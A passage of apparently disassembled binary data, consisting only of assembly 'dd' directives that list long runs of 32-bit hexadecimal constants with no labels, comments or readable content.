		dd 5479C55Bh, 972D86Ch,	68339566h, 4C6490E7h, 6DEC4067h
		dd 400F33F0h, 69CE3217h, 0E0F88DA0h, 0D4D244E1h, 0BE04F498h
		dd 9BD0E984h, 0CE14B4h,	0A8BB50E1h, 0F7970AECh,	8060663Fh
		dd 1BAC150Ch, 186712DDh, 0D9EBF156h, 32D99DAh, 50902813h
		dd 0A1C9441Bh, 0F2E4FECh, 0E2B39B04h, 66550AD8h, 404F8892h
		dd 0C1D68D9Eh, 0F0BE518Eh, 3A471993h, 2342314h,	71535B4Dh
		dd 0DD1C3D74h, 0E89E84C9h, 0B7FAF78h, 7C01399Bh, 7D050868h
		dd 8EA2B000h, 0BF4CC882h, 0F2FF0EBAh, 85A0F623h, 6B699966h
		dd 9D54F102h, 6295D9C9h, 44E86794h, 0E00A637Fh,	7C460F9Dh
		dd 50734916h, 331D08B8h, 30C19CCEh, 73D5E7E1h, 0FBACC439h
		dd 37CA4B00h, 0F91013A7h, 59D8C093h, 0EFB60AF2h, 0A66B2D40h
		dd 25CC00A0h, 0DDD35A66h
		dd 89CC3E1h, 0B8E35112h, 9988E207h, 0CFF9CC7Dh,	17E10D00h
		dd 0F75E7677h, 289B5035h, 0BE910BABh, 0B00BDDDAh, 4800E459h
		dd 0F1FD42C5h, 940100A6h, 99112D55h, 0C109BBA5h, 72C01FCBh
		dd 28F602ACh, 7A5D3766h, 681D80ABh, 66809511h, 0B374B4ECh
		dd 45F1C109h, 0A9046840h, 0C99900A7h, 0ED1A140Ch, 0CC002410h
		dd 2C6F8FF6h, 0BBB373h,	9EF14497h, 0BE5AFF3Bh, 9C00E8EEh
		dd 1AD6757Ah, 0E04CD4F5h, 5CD89471h, 0C092446h,	7C8281B4h
		dd 1F01BD19h, 0A44C7011h, 7AFA0079h, 54BDA79Eh,	0CCA321B8h
		dd 6CEAC0AAh, 0EE7830D3h, 907F05C7h, 0A8F52993h, 6540131Ch
		dd 79B9CA4h, 75C368ADh,	1242A035h, 0E09CAFDAh, 562465Eh
		dd 40F6F3D2h, 0E10CBC30h, 42690070h, 6C67CCB2h,	96036313h
		dd 94026E09h, 7B97E841h, 0B762E01Ch, 9D243890h,	0FD313E00h
		dd 22102FC2h, 0F87800E8h, 0B29C67ECh, 0DB12E645h, 8E41451h
		dd 0E8B445F6h, 7039B2FBh, 0AB6F80E2h, 6C191EFCh, 0B7E804CDh
		dd 907D7CF5h, 9A9FB23Ch, 7004EE76h, 0BC10418Fh,	515F70C0h
		dd 5C34E86Ch, 26E89892h, 9A61058Ch, 4C614C2h, 485CC5BCh
		dd 0ECAE807Ah, 6413C4A7h, 0CF244601h, 0CC169CABh, 0BEC2842Ch
		dd 48598981h, 0C338EDA7h, 83C82262h, 9807A6ABh,	9356C54Ah
		dd 0D8F440F4h, 0CEC61DBFh, 4E3400B0h, 0C1C5E5C8h, 172E18BAh
		dd 61112068h, 10DB6274h, 630104C5h, 0B9E1FBD8h,	0C8AB00FEh
		dd 0A12C8B61h, 0B1421065h, 0F878401Eh, 1BDD2FC5h, 1F07DC48h
		dd 203AC881h, 7BADC1F0h, 0A7FDE280h, 601A44C0h,	5BC808B7h
		dd 0A8C4801Dh, 197159Eh, 45607708h, 306E7Eh, 87239E83h
		dd 53EC9EFh, 95FBB780h,	0C48C53E1h, 0B054B6D0h,	3F1EAF5h
		dd 0ADF843E4h, 502D7C3Dh, 11C378Fh, 9480EBFFh, 39F7C097h
		dd 7C0160B0h, 0FE660F33h, 0FC6C4460h, 2C8C1AECh, 112C6E24h
		dd 0EE3600BDh, 692E38CFh, 3E635A2Ch, 7E2378h, 0B0C72667h
		dd 0A0A4EBB7h, 8ECD1C00h, 44CA3D3Ah, 55FF12E0h,	3490364Bh
		dd 0FC09AA5Ah, 91949F79h, 8143804Ah, 1DA0223h, 747AF76Fh
		dd 39054DD9h, 0F87BAC80h, 32B003E0h, 14292A2Eh,	59A8B6E0h
		dd 27CCF059h, 11B01FFAh, 615A8095h, 989CECFh, 5D1D0BAEh
		dd 620084FAh, 40F3DB6h,	2F9A6AAh, 0B46C988Ch, 246003E5h
		dd 55803C3Fh, 75101733h, 951CE47Ch, 2F0BA41h, 4C8315E7h
		dd 3172E893h, 9B6142E9h, 0F508241Ch, 0FB46E200h, 396F2B5Fh
		dd 962F0298h, 37D80C9h,	649138DEh, 0EC6C4F00h, 0AAF785ABh
		dd 45290500h, 1E878252h, 8004B9DAh, 0F16F932Dh,	0B701CEE5h
		dd 11908256h, 0DC689D61h, 952DB0D8h, 95C1D780h,	71EB0A0h
		dd 0E20C4C2Eh, 0C1DA1FF6h, 56CB0047h, 35AFC769h, 512DC46Ah
		dd 0A62C03DCh, 61A00917h, 820B795h, 909856E1h, 40B4ECF8h
		dd 0D4EFF481h, 322A9493h, 58C44344h, 0DD602499h, 7A852280h
		dd 20010EEBh, 0B22CD991h, 545CF638h, 63DD10B8h,	306FCC51h
		dd 0C5B21088h, 541C194Bh, 0C81028D3h, 0C21060F3h, 0C32DA051h
		dd 0C31FB698h, 8800B7C3h, 64BC0456h, 12CE3DC1h,	0D1626A0Dh
		dd 944AC38h, 22AC282Ch,	15D5008Ch, 0D43B1011h, 8C5F7386h
		dd 0D44963BCh, 0D9EC1605h, 0B240E348h, 7E193025h, 0DC626E28h
		dd 1B39C322h, 29153D66h, 0E70530D1h, 0E7E47004h, 0B6249981h
		dd 13BCA190h, 0B0730AC4h, 0B36A0931h, 0D8C195ADh, 0B7C292Fh
		dd 0E8F0D016h, 66983Ch,	0C19DCEEDh, 0C68ECC41h,	4EF3A10Ah
		dd 9908B802h, 5F716261h, 56087412h, 6D281A46h, 0E26E4484h
		dd 0CB979F4h, 27450700h, 924D298Bh, 0E0069728h,	17B5B995h
		dd 80B191DCh, 0E7BA0102h, 0B1A54A9Dh, 0BC7C2C6Ch, 4C078C4Ah
		dd 2EF1E386h, 6F11C080h, 81E807E1h, 0E0EBA3D2h,	0B3AEE454h
		dd 9A2C8A7Bh, 4674F072h, 5E94002Dh, 256D1D4h, 0B8BD00C1h
		dd 3016DA5Bh, 0BB391A0Ah, 0E02FCFEBh, 1C004D23h, 97C70D66h
		dd 6C645CD1h, 675110h, 3AB2251Eh, 0B7A4DBFAh, 0A800D8B7h
		dd 73E87955h, 0BEB7000Ah, 0E9DC38ACh, 0F0B922D3h, 0C024CD2Dh
		dd 7BDA203Eh, 0BC27C700h, 4818744Fh, 0C19C1387h, 8B345605h
		dd 0C00DC84Ch, 8DF6B8Dh, 5344F001h, 26F6F39Eh, 9C6CFAD1h
		dd 748C4FB8h, 0CF260972h, 70107F3Dh, 39027E5Eh,	944F3B85h
		dd 0B9F060F3h, 0E66F80A5h, 0B4132090h, 0C002E129h, 9642131h
		dd 6D7F040Fh, 0FA5528A0h, 7D54D1C5h, 61D765D8h,	1F91D081h
		dd 1997E44Dh, 0C8C0CBB6h, 0C1B0C027h, 0C49511A3h, 529300C0h
		dd 0CDF80B81h, 0AC0BF36Ah, 0D2336680h, 0E46E0B1Ch, 6C0265F1h
		dd 0E05436EFh, 0DC57B07h, 12D8983Ch, 125E0BE1h,	0F734B204h
		dd 14CAD8h, 46D79782h, 0A94F2993h, 52530809h, 5E209454h
		dd 40009746h, 742D23B5h, 7F0046A2h, 61FFABDh, 97E8B616h
		dd 0B191B017h, 0F7C36A82h, 24213865h, 0CC194851h, 0E4A0F308h
		dd 40009DDEh, 0BCE53B4Ch, 0E9CE6FCh, 9745D76Ah,	33C8B10Ah
		dd 90A47CEAh, 0C6A4260Ch, 4410D1Ch, 0B05FFE80h,	22BBA34h
		dd 0E7B7E9C1h, 1C000E7Fh, 9A778Ah, 65C46CCEh, 7CCDDFA5h
		dd 3D24FB75h, 42602C6Eh, 5AA490D0h, 6750D0F6h, 0C0E51DBh
		dd 7E0D8E9h, 84401CE8h,	233F67Fh, 0A97B434Ah, 98D195E7h
		dd 0D0183279h, 0FB28640Fh, 0F250A01Eh, 4827B45Dh, 2922433h
		dd 91E68CC0h, 5A09AC40h, 0C379D81h, 0C8848A4Ah,	7B7CA33h
		dd 607A46F0h, 516CCF61h, 0B004C73h, 0A3CC533Ah,	1F9957h
		dd 598DE737h, 73DD51E1h, 0F51D353Ch, 6E88B367h,	0D67453C0h
		dd 24E27CF5h, 0A7FC4D0Dh, 595DACE0h, 42D9B1C8h,	0CCA37843h
		dd 0CEB0A709h, 37E4EBBCh, 1033D91Ch, 0F12841D8h, 0C21F2C56h
		dd 821761A4h, 57F60296h, 1B76FCA0h, 6D1DDE27h, 9F80A44Dh
		dd 0FDD944B2h, 4FD70098h, 92D4E1A0h, 626745C9h,	0E8DE5359h
		dd 3380BE6Bh, 0F4FEF7D8h, 0B904F272h, 6F85D748h, 0FC5340CDh
		dd 0E5110457h, 8A6FD9CDh, 5DF872FCh, 4A4477F7h,	7C23A82Fh
		dd 0E503FF24h, 3C639DC5h, 5AD4650h, 0E460184Dh,	14187513h
		dd 0C49CA298h, 6504F4D3h, 0A5A5DF3Ch, 0EEE8453Ch, 66C280B1h
		dd 124EC674h, 35C5E816h, 0F250E2B0h, 0B9C53062h, 0C043490Fh
		dd 5319CB2Bh, 4EA97340h, 208BD840h, 0C503D012h,	801EF00Fh
		dd 0DA6E43B9h, 3CAB9DE9h, 6A751402h, 0C7DDE402h, 6023642Ch
		dd 1ED7D22h, 11ABA6B3h,	269C8E0Dh, 307CB2D4h, 61266521h
		dd 0C149AC95h, 0D4429984h, 8FE32067h, 0FE0114CAh, 366546B0h
		dd 55D26FD0h, 0E6F14C82h, 207954F9h, 4B00CB18h,	7FF6BD1Ah
		dd 94307BDEh, 0D50A6E8h, 59D86A5Dh, 1CDB2BF4h, 0C9F23D80h
		dd 9A157061h, 7807B7Dh,	0C26D311Ch, 0FAEFAC70h,	0E6ED1C2Eh
		dd 0DD3D8214h, 20EAE120h, 27113C1Dh, 44CC2380h,	0F4B1B93Bh
		dd 545A0E01h, 0C2045D0h, 7D021856h, 61359160h, 0D5727C00h
		dd 5DD089ABh, 82149B50h, 3619C5FBh, 0AB024454h,	90818A61h
		dd 3A9CE8DCh, 23CB2BD5h, 21EB8980h, 0C0AAB48Fh,	0F473D044h
		dd 0BB4CE52h, 2B122E1Fh, 67206DD4h, 551D7089h, 0C5203191h
		dd 0B86A0F63h, 287959F1h, 0B8B428FAh, 0D9B08CB0h, 99EFE00Ch
		dd 793C842h, 9DF4CE05h,	0BC119BA8h, 34C82EB6h, 0EB4601DDh
		dd 77A4917Dh, 0BCF0282Ah, 0BB008C4Ah, 100D9644h, 25B99028h
		dd 0A8FAD81Fh, 79674030h, 111B2Dh, 709FC21h, 0AC297C13h
		dd 12D3FE58h, 90A87BCDh, 488C4CECh, 6F13B5EEh, 0EFE00263h
		dd 80A2BBD9h, 0B0A11511h
		dd 0F42EF1C9h, 53F79BF8h, 0B4883A84h, 44002065h, 375E2367h
		dd 0A007E5CEh, 28ADFBC0h, 0BD4C7975h, 0F07EC37h, 0C2C03963h
		dd 9D9DBF9h, 4FE0E8E9h,	6A444847h, 0AEBD7660h, 3F4C5202h
		dd 5EF8DDABh, 1CFB0020h, 268599CDh, 18D0F14Ah, 6A86F529h
		dd 0A84CE71h, 4B687C15h, 320010B7h, 42B39DA7h, 53290945h
		dd 847451ADh, 0CB80F545h, 14221979h, 0BA33FE8Fh, 10C25505h
		dd 0D3ECE989h, 25C8348Ah, 0E012FFC2h, 1C35777Ch, 0A88AB1D8h
		dd 11D880A8h, 0BA46800Bh, 91781795h, 9BD28169h,	357A8CF7h
		dd 83DCA8E4h, 0E001FB25h, 12631D2h, 4B03D334h, 0D4EB68FDh
		dd 0B713ACDEh, 54C26F9Bh, 80FC56F6h, 0B587E888h, 7CA57E0Ah
		dd 0B36020E4h, 0A7E69922h, 0E2466102h, 5C4AA5CFh, 802CD9F8h
		dd 58DC7481h, 9EA1CDF8h, 0B1DA05A8h, 7AB48543h,	0A1D70044h
		dd 1EC99F97h, 0D10D040Fh, 0B944E433h, 40510884h, 9D24393Ah
		dd 4C625FEh, 0B24E3843h, 3048B220h, 4C0F1958h, 221A21Bh
		dd 82E56CD2h, 935D88h, 0AB43298Bh, 0E44C264Fh, 18DC414Fh
		dd 982AA3B1h, 22BD879Bh, 2E6EDDC4h, 0A209EF02h,	248384DAh
		dd 0DB47B125h, 0F2057094h, 0A310EC18h, 9CA02DA8h, 985A85B0h
		dd 0A6F4533Bh, 9CB4E424h, 0CFF50030h, 1E61F6AEh, 0E12599E9h
		dd 6B78254Fh, 0E46D3CC0h, 813A5B17h, 44DF1FF4h,	0C1C0AC6Ch
		dd 6EA5102Ah, 59FA9C34h, 0D8BD74E3h, 0FB606E86h, 0CA895FE8h
		dd 32660B40h, 0E447473Ch, 1D612164h, 0DE3BE0DFh, 51DBC504h
		dd 44AF14F8h, 130181B4h, 46EF90C0h, 9E2602FBh, 2B1F9C5Bh
		dd 40AEFCA2h, 0F1581A00h, 28930061h, 33352FAAh,	0CF2E174Ch
		dd 0EB006D32h, 5489BD8Ch, 1C1E6687h, 0E6600877h, 0BD850D21h
		dd 0EF58C080h, 0D8D7CF8Fh, 54B2B000h, 0BE0C2C12h, 3C1501EAh
		dd 0B37FFA9Dh, 52CB0036h, 24F20E53h, 0CFAF46BCh, 4C083EACh
		dd 4B7321C1h, 76214DF2h, 0D0048103h, 76C60B8h, 16D1431Fh
		dd 4C50836Bh, 410610EEh, 40B507B0h, 27F0741h, 40E85C19h
		dd 0A985BF91h, 0D0389203h, 3ACB35B4h, 891D98C0h, 4E11B0E2h
		dd 5901F62Ah, 0FE5747B8h, 8980FAFh, 22752143h, 723EF607h
		dd 0A0F1BEC7h, 0BAC046E1h, 83E0C88Eh, 28F257C0h, 226646BCh
		dd 77754Fh, 4555B1F2h, 133A1B08h, 0CE18E776h, 0CA713BE3h
		dd 980903E2h, 0A7FC79B1h, 0BCCE27E8h, 37B3F01Fh, 99C4E640h
		dd 30DB11F1h, 3258FFB8h, 7906BFB9h, 0A35A6FFBh,	2854698h
		dd 0BC2AF259h, 10473176h, 7F25179h, 0B48314BAh,	350EC05Ch
		dd 5701E856h, 4A38DF5Bh, 0B9E4E7B8h, 31AA0176h,	0D080BA43h
		dd 81C4471Ah, 40E5D4AFh, 84CB998Ch, 2504B0ACh, 1FB854F6h
		dd 70204662h, 0FD7F61Dh, 0FB113AEEh, 0BC460C3h,	0C1B580Dh
		dd 98F3282Fh, 5C5120h, 0BA599FE9h, 13A19711h, 116F03Dh
		dd 0C8CB108Fh, 0B0814063h, 1B1D2F64h, 1A9050FDh, 8D388E89h
		dd 36EF8683h, 6008737Bh, 813C6115h, 8D006C8Eh, 0D0C0279h
		dd 185BE503h, 0D8ED40AFh, 3B0DCBDFh, 10EE3487h,	0F2BE7040h
		dd 0C3D4813h, 58DC7810h, 7D42062Dh, 7CE0CE17h, 9C9216h
		dd 63DACF1Dh, 0F812EF61h, 0E500D0FEh, 0D12718BBh, 30F05704h
		dd 58C03DF3h, 39C0D217h, 6EE7ED20h, 5257CECh, 0E30B813Eh
		dd 4CA04042h, 0BA7560F0h, 8200A0F4h, 26F5D833h,	3E9C9EDDh
		dd 1CA4786Dh, 0D7166380h, 86B35900h, 69E48B0Ch,	1C4800D8h
		dd 4C9560A3h, 0B7004501h, 0EEBDBE2Ah, 0EFCC5Ah,	0FE1B8C57h
		dd 17D480B9h, 2098D0A1h, 33263644h, 91C02051h, 46548EBDh
		dd 0E422AFh, 0BBD8A12h,	0DD14C8F6h, 8141DC14h, 58B70650h
		dd 246007C0h, 1128D25Dh, 0F6248083h, 8C17B853h,	1C6F4744h
		dd 80C9F61Ch, 22D184F7h, 0F328B7FDh, 5248AC47h,	8C45E850h
		dd 8CDBE638h, 193DE3C6h, 68E077h, 15F1F843h, 0CD6B49C2h
		dd 8060C139h, 0A1B498F0h, 390725A7h, 3035BADBh,	1E4C0838h
		dd 898E8AC3h, 1F0E8B83h, 68C0823Dh, 605DC3FBh, 88580297h
		dd 3FB65CF1h, 33368FE1h, 0E294426Ch, 206D3142h,	0EDBCE4h
		dd 0A2FBBB5h, 5D7BEFCEh, 8350998h, 0C118348Fh, 0A404BB60h
		dd 0CE0CB7BEh, 0E08084D0h, 2840CF13h, 0B6DA33E1h, 21785223h
		dd 118E8D30h, 88A38391h, 85408713h, 9F87B08Eh, 0CA48A4CDh
		dd 6BF90048h, 4BF054E1h, 4498DE52h, 0C46110C4h,	5060C254h
		dd 11BD9030h, 88A7548Dh, 891180E0h, 930FA9BDh, 0D1B0091Bh
		dd 0C1B87419h, 8EC1DA9h, 2C608C3Ch, 8C20C88Eh, 90118C7Bh
		dd 11889B83h, 8E843F80h, 5471CC8h, 0A0975C4Ah, 5A980BD1h
		dd 60841C24h, 2129F258h, 78C06EBCh, 0A0F250h, 0D4AF47Eh
		dd 16CDD8D5h, 0CC038809h, 31D8A0B8h, 0C61C8B4h,	372E7015h
		dd 0B5760988h, 94483368h, 0C4944A11h, 7754870Ah, 40E8C494h
		dd 30BD830Bh, 0B38C002Ah, 1A804BF7h, 0BC3A49F4h, 0D0E331B7h
		dd 30523F18h, 0BD8B304Bh, 7F548813h, 0C0438h, 5C3EBD84h
		dd 0E0BCB1EAh, 3B7E4111h, 29D31718h, 63A6E1Ch, 0ACEF0522h
		dd 0A0088BBAh, 0F254C080h, 4E46BC25h, 4C748877h, 0FF00F272h
		dd 0D00C6104h, 78DDA40Fh, 38D8A81Bh, 1E2E04DCh,	0C101E6D4h
		dd 63DAF7E9h, 0B06002B0h, 0C30FEFA1h, 0CEC0FCFCh, 90066880h
		dd 7FF90A7Ch, 88E6A4h, 34B1B0EAh, 0C1C2D518h, 0D8F4FD51h
		dd 0F8A0450h, 0C2BABE64h, 29308844h, 0B85811F6h, 8048883Fh
		dd 1CF62174h, 230389F0h, 1BD38699h, 0A5C10E0Eh,	36203B08h
		dd 6DA2160Ah, 0D2002675h, 31F058CFh, 420DB99h, 70EC7B2Ah
		dd 9B18814Dh, 0B77C243Ah, 749086Bh, 7F45C130h, 0EEE888h
		dd 84A1A0FDh, 499FE8CAh, 3408C091h, 20954B44h, 2580E891h
		dd 0E634D050h, 0ACA06100h, 0B9994B17h, 0C3C117C5h, 7CC020E2h
		dd 0B3E2EF14h, 0E6339500h, 9884E8DEh, 8D640146h, 457A8AB8h
		dd 6740FE1Ah, 0E8911718h, 31CC3500h, 1B5C968Dh,	0D0E82CB7h
		dd 0F8BE29C0h, 42D104B1h, 6217A918h, 7C435088h,	8330B7BDh
		dd 60588047h, 18A49A90h, 39647B41h, 91C0DB16h, 441C7353h
		dd 391A162Fh, 811B00AAh, 7AC69AB6h, 80F81858h, 0DCD6CED9h
		dd 0E34A18B4h, 834C493Fh, 0D8E9BC07h, 0B050C4F3h, 3E7F1F01h
		dd 1301DFA8h, 0FA194C8Dh, 5A40D03Fh, 7A8BB000h,	86319854h
		dd 2EB14409h, 59942B02h, 61245690h, 3019226Ch, 83269247h
		dd 16C46CABh, 8E864140h, 7F07AEF4h, 0F5C71202h,	26856270h
		dd 47EF17FFh, 6FC0123Ch, 2DA60298h, 441C9571h, 0CF0D09CCh
		dd 6280F168h, 31992844h, 0EC41B324h, 439E6D80h,	0D9A602h
		dd 7A931D18h, 9F372C24h, 0C0548005h, 0A8D35077h, 4FD0C085h
		dd 8D11C363h, 5A05DAB4h, 7FF0F2CBh, 0B385A60Eh,	0E123643Ah
		dd 11B66603h, 0B421E5E5h, 14C3C0DAh, 0CB209C9h,	5FC85406h
		dd 4C07885Ch, 5AD374EDh, 7FC02961h, 0AC64DAF9h,	608500BDh
		dd 58E46BEDh, 1C302BBFh, 0D722510Eh, 0EB7D0048h, 0B82ABEF0h
		dd 6500101Dh, 0BDE34DC5h, 0A5BAE61h, 0CDBB0963h, 7F4F6FFCh
		dd 8CB76682h, 9201D851h, 5890B423h, 8B03E821h, 8402BDD3h
		dd 0CAF4E483h, 8D4E4084h, 38E32413h, 1546741Ch,	312D2Eh
		dd 7A686008h, 825C4250h, 0A409DEFCh, 7FC4C2Ah, 77953F1Ch
		dd 504727D8h, 0A3A6419Ah, 44947A01h, 4EA5F367h,	192FFFCCh
		dd 401DA488h, 0D473C2h,	8A8B97BDh, 7F96022h, 9E185CBCh
		dd 83C0A3C8h, 878009E5h, 0F62804B0h, 37B85713h,	73C438h
		dd 519BF620h, 0B6AEA177h
		dd 5C481D58h, 2F4B80D8h, 517CF59Fh, 8C36946Fh, 6AA2E5F0h
		dd 59ADD601h, 0F0B4AFBCh, 612ED840h, 40144DA4h,	680FEB3Fh
		dd 46D3A22Fh, 29DCC048h, 0F92B9F02h, 885638B4h,	465C44E0h
		dd 0D13405E5h, 0FCC5118Dh, 80E44903h, 0B4500A5Eh, 17D4025Fh
		dd 579C201Ah, 0D032B8B0h, 719C90DEh, 18497190h,	0DA5A07E2h
		dd 0F05D89EFh, 0B7B3DC60h, 0FF1548B1h, 513D06B4h, 5C38FB38h
		dd 48BC089Ch, 6B10008Ch, 0EFEE861Eh, 0C9A51FBh,	0FC68BA14h
		dd 1CB783B0h, 0B0780CD2h, 3D7133AEh, 503ED508h,	5A40A3A7h
		dd 95F77AC0h, 67020AECh, 19F04F05h, 78B04312h, 315662E0h
		dd 54720D1Bh, 25467600h, 69CE9B38h, 47DB1F92h, 6CEBC019h
		dd 602613CFh, 31311C30h, 0B230E425h, 0B89228D4h, 8C9D230h
		dd 0B444B04Ch, 0BBD38A4h, 0FC7F8FF2h, 4E443A03h, 0FA2C403Fh
		dd 4A4CAEECh, 51429E6Ch, 81037488h, 0F897BF98h,	808CD455h
		dd 650D58FDh, 71EA9C00h, 1DB47AD4h, 322CCAF8h, 4674C4F9h
		dd 0E159004Ah, 0B11222BDh, 0EA94C23h, 602B5602h, 0C841A6BBh
		dd 55C85881h, 0BC26F208h, 4E4DC456h, 0DDF2A075h, 183D3E0h
		dd 0D9BFF758h, 42FEF6C1h, 0F49990C4h, 0F2C4197Eh, 3EBC2923h
		dd 4A72402Ch, 397EE6F2h, 3DC6D000h, 0F0565411h,	336496B7h
		dd 28D483Ch, 3FC8CAB0h,	8513BC58h, 0C841F0ECh, 52FEBC1Bh
		dd 80F04C66h, 0E3306C48h, 0CB98393Ch, 4B8AC85h,	0B855F626h
		dd 20496227h, 0AEF61E71h, 6BDF3500h, 0B87451C6h, 0C82F67AAh
		dd 0E00B48A7h, 0A140809Fh, 3C636Eh, 0F231A0DEh,	0E8DA8FF8h
		dd 8211E49Ch, 52F62380h, 0B8B90FB8h, 0F61B6EC0h, 0B0587146h
		dd 5AB8B0EEh, 8BE46427h, 0C04988DCh, 0A75175DBh, 3DAAC100h
		dd 523E4D42h, 0B4848244h, 6A804306h, 30CED0A6h,	0D65104D1h
		dd 0C0A97675h, 81428E10h, 2A5982F9h, 0C6FE1B8Dh, 3B751E00h
		dd 8FA0000Bh, 9DAE2660h, 4F791C91h, 29008418h, 5ACDC57Ch
		dd 0B38771Fh, 18E41D17h, 0AF6C821h, 53C8E02Dh, 0BE2D1492h
		dd 82D409F1h, 0E3FE0E8h, 95932BDh, 0C6313140h, 49C7C303h
		dd 0F53E9345h, 884DE0A7h, 7600A7ACh, 6AB8ED37h,	7F7B999Eh
		dd 142DEB0Eh, 8DC04DC8h, 46548ABDh, 0E2228Fh, 0C5BD860Eh
		dd 0DFB2F092h, 8941CB14h, 7F8E80E8h, 0C040E36Eh, 7E589311h
		dd 40089CCh, 9929870Dh,	1C94C4E6h, 0C445E306h, 0B26A192Dh
		dd 334BF2BCh, 0A0B57E80h, 70B3B802h, 40F8A391h,	823EDF80h
		dd 0B28A7880h, 201FADEFh, 4E055B6Fh, 0BC03FC86h, 0BFD51CF1h
		dd 0A3E50981h, 3444DEh,	0E78093ADh, 0A877EE9Eh,	8B091D09h
		dd 94741875h, 219B2489h, 0D124293Ch, 0E4A81846h, 0B947A1Bh
		dd 0D017BB8Bh, 4B11581Dh, 0BDB2E980h, 0C439E2E0h, 5C6C1383h
		dd 0DC2A3CC0h, 2FA34F5Ah, 1F4A236Ch, 8EEB82C4h,	2C518AD4h
		dd 0C1181179h, 0A9FFB604h, 28A28542h, 1A146808h, 4CD65B1Dh
		dd 9A8E4C6h, 0CCB48242h, 4C3724A9h, 0F8307512h,	7E955ADh
		dd 7B8E31F7h, 8D1CB005h, 0EC352AA8h, 9C81A901h,	4E0163CCh
		dd 0B26033F4h, 0A7F304Ah, 0BF922900h, 54740482h, 0C070424h
		dd 0F3E7B509h, 33E1E2F4h, 2B0D2380h, 3C98CC2Ch,	0D3BF3180h
		dd 5A8088B8h, 0D8F06115h, 0F428092Fh, 8C0FACh, 0F9ED234Dh
		dd 0F43599E5h, 3E47EF16h, 1F56EC9Ch, 22175A25h,	58365000h
		dd 93B271EEh, 0A072A1h,	519D76BDh, 0E48E11BBh, 6860DA17h
		dd 8AB0A419h, 0EC9DB0DCh, 905CCAh, 0F970B70Bh, 50BEC446h
		dd 4F4656h, 0DB2F0922h,	7AC1B8F6h, 37AB095Ch, 4C49D363h
		dd 111FD282h, 3683804Ah, 12DB905Dh, 426CAFBDh, 32F8185Ch
		dd 0E711F09Fh, 17A26C80h, 45026285h, 56C80877h,	784C40F3h
		dd 0F6C38335h, 0E85707C0h, 0C83ADB28h, 0FCB4C108h, 4E1C0237h
		dd 438549h, 0E86C8C84h,	50415D6Ch, 369020ECh, 25F04C2Dh
		dd 54E0CA18h, 8B42409h,	0BBDA8A54h, 55B04224h, 8AB8CA02h
		dd 1B11301Ch, 8B8E8780h, 448C7383h, 7F003A17h, 70C11D8Eh
		dd 3082223h, 21532B01h,	1CBA58B8h, 545A5854h, 18EF5608h
		dd 9CA60F4Dh, 2B006CC3h, 0FBAC87BEh, 0C35850D4h, 900E4ACCh
		dd 227149Fh, 0B0B1E859h, 0DF6D940h, 9579D430h, 0DD12054Ch
		dd 8A942AD0h, 0B8F85898h, 810E8CE3h, 6261D454h,	548BE856h
		dd 3E8A0FE0h, 34213D89h, 63338341h, 55150030h, 0FCE088BAh
		dd 87C9642h, 9C20F9DCh,	0A21D7425h, 0CE9088h, 0E406830h
		dd 9718B09Ah, 8031DC7Ch, 98024060h, 4739B905h, 0D0400A1Ch
		dd 72973313h, 21B11830h, 57FA9A4Eh, 0E9ECDF09h,	0A0D80F8Ch
		dd 80B9FF1Eh, 48166464h, 0B8E8A92Bh, 915F1D4Eh,	0B508423Ah
		dd 50408657h, 638243A0h, 238D2E0h, 0D4541859h, 0EC746C80h
		dd 41C48Bh, 271FE6Eh, 493CFB2h,	974CDD2Fh, 80E89138h, 43F88831h
		dd 2C5F468h, 0BCA0B4DAh, 1C4870AFh, 3854885Ah, 25132EB4h
		dd 844160ECh, 0B8F2BE31h, 0C90CF0E0h, 70659C20h, 97604CC4h
		dd 4FF2CA82h, 0B4D00328h, 14744002h, 0A0051BEBh, 0BAD7249Ch
		dd 0B66400D1h, 0F71D36C3h, 52F1CA5h, 0E8BD27h, 6A5F0B53h
		dd 0C8C4ABCAh, 0BB0224D0h, 6C78E487h, 0A7899509h, 10E0822Fh
		dd 0BBBD030Eh, 2D1D1805h, 0A849D01Ah, 0E42CE5CBh, 0BCC66046h
		dd 6CF04997h, 0E030205Eh, 630C87F6h, 0A0D131F8h, 901340D8h
		dd 3EF24C98h, 10DA0982h, 7E067B58h, 8FC1029Ch, 3E93B858h
		dd 50604A00h, 40096834h, 10A0248Ch, 991B0053h, 37552D85h
		dd 0CAD8C41Eh, 2E40C262h, 0DCB7AC89h, 1BDA0387h, 6884BC53h
		dd 0B9A9069h, 0D03738E3h, 2CD2889h, 1A24F0h, 3534BAB5h
		dd 11F49795h, 5DA580E2h, 0A41852E3h, 853905B8h,	0C16E3FABh
		dd 0E6593E92h, 0CC903C7Ah, 56BF01EDh, 90814AE8h, 8EEA0080h
		dd 25B9425Bh, 5A043336h, 0DFD05728h, 83FAA4E1h,	91AA4h
		dd 0F918ADC9h, 0FAB62194h, 8CF20300h, 7DE34579h, 22C4A00Eh
		dd 8F32162Bh, 8B0452A0h, 0C047C80Ch, 5C0DCF2Ch,	0A89ECE34h
		dd 6E4FC8F6h, 0DE480180h, 6CAD401h, 12A28063h, 31C6330h
		dd 0B9A20554h, 42987BCDh, 0C0A8D618h, 8203222Dh, 4136877Eh
		dd 83B1B1C1h, 0B1493830h, 0AC6715C0h, 0F852093Fh, 73F13100h
		dd 3A2B51Fh, 0CC58FCB4h, 0ACB184E8h, 6D184D71h,	0E2BA9000h
		dd 0B8A8753Ah, 4DD4A9C0h, 0B5842473h, 0B43143E0h, 0BE00BFC1h
		dd 0B4D95C97h, 0AFBBE1D8h, 0C0002B84h, 7F42A63Ah, 80B180h
		dd 0EC7D3156h, 112C1F97h, 7E089035h, 70179E37h,	0F2F1DA69h
		dd 0FF50F60Dh, 67F2E8E6h, 6048E448h, 133A3319h,	45C880BAh
		dd 0CC2D1B88h, 4D5A8C88h, 0D0C6DC4Fh, 0C0B6FA22h, 0A1ED00DCh
		dd 0F9D7BF4Bh, 4DEBFAF3h, 0B46E2E98h, 0ABF0A600h, 0D4DB5156h
		dd 405BCF3Fh, 0E4A095E2h, 75C83C24h, 0FB2F5700h, 0CF39D33Fh
		dd 50581636h, 90B4C2BCh, 0DCEAE88Bh, 0FE1BCC61h, 0CA527B00h
		dd 1F97C31h, 25DB014Dh,	335A890Ch, 18FB1FE0h, 3A523E07h
		dd 6C88B760h, 10C08206h, 689648CCh, 86992C02h, 4F20610Ah
		dd 8F026436h, 9F548CBDh, 1058185Eh, 36BD0588h, 40021BFCh
		dd 2B6374A8h, 87797A80h, 0F224F0EAh, 0B6111CCFh, 0EC318E00h
		dd 0B8569585h, 3000DF5Eh, 78612E5Bh, 2E9C8128h,	0ED00646Bh
